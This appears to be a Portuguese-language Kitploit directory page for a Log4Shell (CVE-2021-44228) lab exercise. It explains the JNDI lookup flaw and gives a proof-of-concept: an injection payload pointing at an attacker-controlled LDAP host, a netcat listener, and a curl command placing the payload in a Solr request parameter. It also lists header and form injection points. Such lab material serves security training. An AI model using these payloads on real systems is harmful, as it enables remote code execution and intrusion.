Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4j_CVE-2021-44228 — Exercício prático de laboratório para explorar o Log4Shell (CVE-2021-44228) com injeção JNDI, servidores de referência LDAP e payloads de shell reverso. Inclui detecção, técnicas de bypass e orientação pós-exploração. | Kitploit
Ferramentas/GitHubGitHub/muhammad-ali007/log4j_cve-2021-44228
Análise de VulnerabilidadesExploraçãoPós-ExploraçãoBypass de WAFTestes de PenetraçãoComando e ControleAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubmuhammad-ali007/log4j_cve-2021-44228

Log4j_CVE-2021-44228

Exercício prático de laboratório para explorar o Log4Shell (CVE-2021-44228) com injeção JNDI, servidores de referência LDAP e payloads de shell reverso. Inclui detecção, técnicas de bypass e orientação pós-exploração.

Ver Repositório
19há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

A vulnerabilidade Log4j, também conhecida como "Log4Shell" ou "CVE-2021-44228", é uma falha crítica de segurança na biblioteca Apache Log4j. Log4j é um framework de logging amplamente utilizado baseado em Java que permite aos desenvolvedores registrar mensagens de aplicações em vários destinos, como arquivos, bancos de dados e saídas de console.

A vulnerabilidade foi descoberta em dezembro de 2021 e ganhou atenção significativa devido à sua gravidade e potencial de exploração. Ela afeta as versões 2.x do Log4j e, em alguns casos, até versões anteriores. A vulnerabilidade Log4j é uma vulnerabilidade de Execução Remota de Código (RCE), o que significa que um atacante pode executar código arbitrário em um sistema alvo explorando a falha. A vulnerabilidade é causada por uma falha de design na biblioteca Log4j relacionada ao processamento de mensagens de log que contêm dados especialmente criados.

A exploração da vulnerabilidade depende da capacidade de injetar código malicioso na mensagem de log. Isso pode ser alcançado por meio de vários vetores, como campos de entrada controlados pelo usuário, cabeçalhos de requisição HTTP ou outros dados fornecidos pelo usuário que são passados para a instrução de log.

Quando uma aplicação vulnerável processa uma mensagem de log contendo os dados especialmente criados, o Log4j interpreta os dados como uma consulta de Java Naming and Directory Interface (JNDI). Ao explorar esse comportamento, um atacante pode criar um payload que dispara uma consulta JNDI para um servidor malicioso controlado pelo atacante. Esse servidor pode então responder com um payload que é executado no sistema alvo, permitindo que o atacante alcance execução remota de código.

O impacto da vulnerabilidade Log4j é severo porque o Log4j é amplamente utilizado em várias aplicações baseadas em Java, incluindo servidores web, aplicações e serviços em nuvem. A vulnerabilidade permite que atacantes obtenham acesso não autorizado a sistemas afetados, potencialmente levando a violações de dados, comprometimento do sistema e exploração adicional do ambiente comprometido.

Hoje, a versão 2.16.0 do log4j está disponível e corrige essa vulnerabilidade (JNDI está totalmente desabilitado, o suporte para Message Lookups foi removido e a nova vulnerabilidade de DoS CVE-2021-45046 não está presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

No entanto, o perigo absoluto dessa vulnerabilidade se deve à ubiquidade do pacote de logging. Milhões de aplicações, bem como provedores de software, usam esse pacote como dependência em seu próprio código. Embora você possa corrigir seu próprio código base que usa log4j, outros fornecedores e fabricantes ainda precisarão enviar suas próprias atualizações de segurança downstream. Muitos pesquisadores de segurança compararam essa vulnerabilidade à do Shellshock pela natureza de sua enorme superfície de ataque. Veremos essa vulnerabilidade por anos.

Para uma lista crescente de softwares e serviços vulneráveis ao CVE-2021-44228, mantida pela comunidade, confira este repositório GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)

Embora existam vários outros artigos, blogs, recursos e materiais de aprendizado sobre o CVE-2021-44228, eu (o autor deste exercício) sou particularmente parcial a estes:

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://log4shell.huntress.com/
  • https://www.youtube.com/watch?v=7qoPDq41xhQ

O pacote log4j adiciona lógica extra aos logs ao "parsear" as entradas, em última análise para enriquecer os dados — mas também pode tomar ações e até avaliar código com base nos dados da entrada. Esta é a essência do CVE-2021-44228. Outras sintaxes podem de fato ser executadas exatamente como são inseridas nos arquivos de log. Alguns exemplos dessa sintaxe são:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

Você já deve conhecer o payload geral para abusar dessa vulnerabilidade log4j. O formato da sintaxe usual que tira proveito disso é assim:

  • ${jndi:ldap://ATTACKERCONTROLLEDHOST}

Essa sintaxe indica que o log4j invocará funcionalidades do "JNDI", ou "Java Naming and Directory Interface". Em última análise, isso pode ser usado para acessar recursos externos, ou "referências", que é o que é utilizado como arma neste ataque.

Observe o esquema "ldap://". Isso indica que o alvo entrará em contato com um endpoint (um local controlado pelo atacante, no caso deste ataque) via protocolo LDAP. Para fins de brevidade, não precisaremos cobrir todos os detalhes do LDAP aqui, mas saiba que isso é algo com que precisaremos trabalhar ao refinar nosso ataque. Por enquanto, saiba que o alvo de fato fará uma conexão com um local externo. Isso é indicado pelo placeholder ATTACKERCONTROLLEDHOST na sintaxe acima. Você, atuando como o atacante neste cenário, pode hospedar um simples listener para visualizar essa conexão.

A próxima pergunta é: onde poderíamos inserir essa sintaxe? Em qualquer lugar onde os dados sejam registrados pela aplicação.

Este é o cerne dessa vulnerabilidade. Infelizmente, é muito difícil determinar onde está a superfície de ataque para diferentes aplicações e, portanto, quais aplicações são realmente vulneráveis. Simplesmente ver a presença de arquivos log4j não revela o número exato da versão, nem mesmo onde ou como a aplicação pode usar o pacote.

Outros locais onde você pode fornecer essa sintaxe JNDI:

  • Caixas de entrada, formulários de login de usuário e senha, pontos de entrada de dados nas aplicações
  • Cabeçalhos HTTP como User-Agent, X-Forwarded-For ou outros cabeçalhos personalizáveis
  • Qualquer lugar para dados fornecidos pelo usuário

Se você quiser mais informações sobre esse vetor de ataque JNDI, reveja esta apresentação da Black Hat USA de 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

  • Para preparar seu ambiente para testar a vulnerabilidade e receber uma conexão, visualize o endereço IP da sua própria máquina atacante com o seguinte comando: user@host$ ip addr show
  • Prepare um listener netcat em qualquer porta de sua escolha (9999 é um bom exemplo): user@host$ nc -lnvp 9999
  • Agora que você tem um listener preparado, faça uma requisição incluindo essa sintaxe primitiva de payload JNDI como parte dos parâmetros HTTP. Isso pode ser facilmente feito com o utilitário de linha de comando curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' Observe que, devido ao uso do caractere cifrão $ em sua sintaxe, você deve garantir que a URL esteja entre aspas simples para que o bash (seu shell de linha de comando) não a interprete como uma variável. Além disso, você deve escapar as chaves { } com uma barra invertida, para que não sejam mal interpretadas nos argumentos do comando curl.
  • Verifique se você recebeu uma conexão vendo a seguinte mensagem em seu listener netcat: Connection received from <x.x.x.x>

Exploitation Neste ponto, você verificou que o alvo é realmente vulnerável ao ver essa conexão capturada em seu listener netcat. No entanto, ele fez uma requisição LDAP... então tudo que seu listener netcat pode ter visto foram caracteres não imprimíveis (bytes estranhos). Agora podemos construir sobre essa base para responder com um manipulador LDAP real.

Baixar ferramenta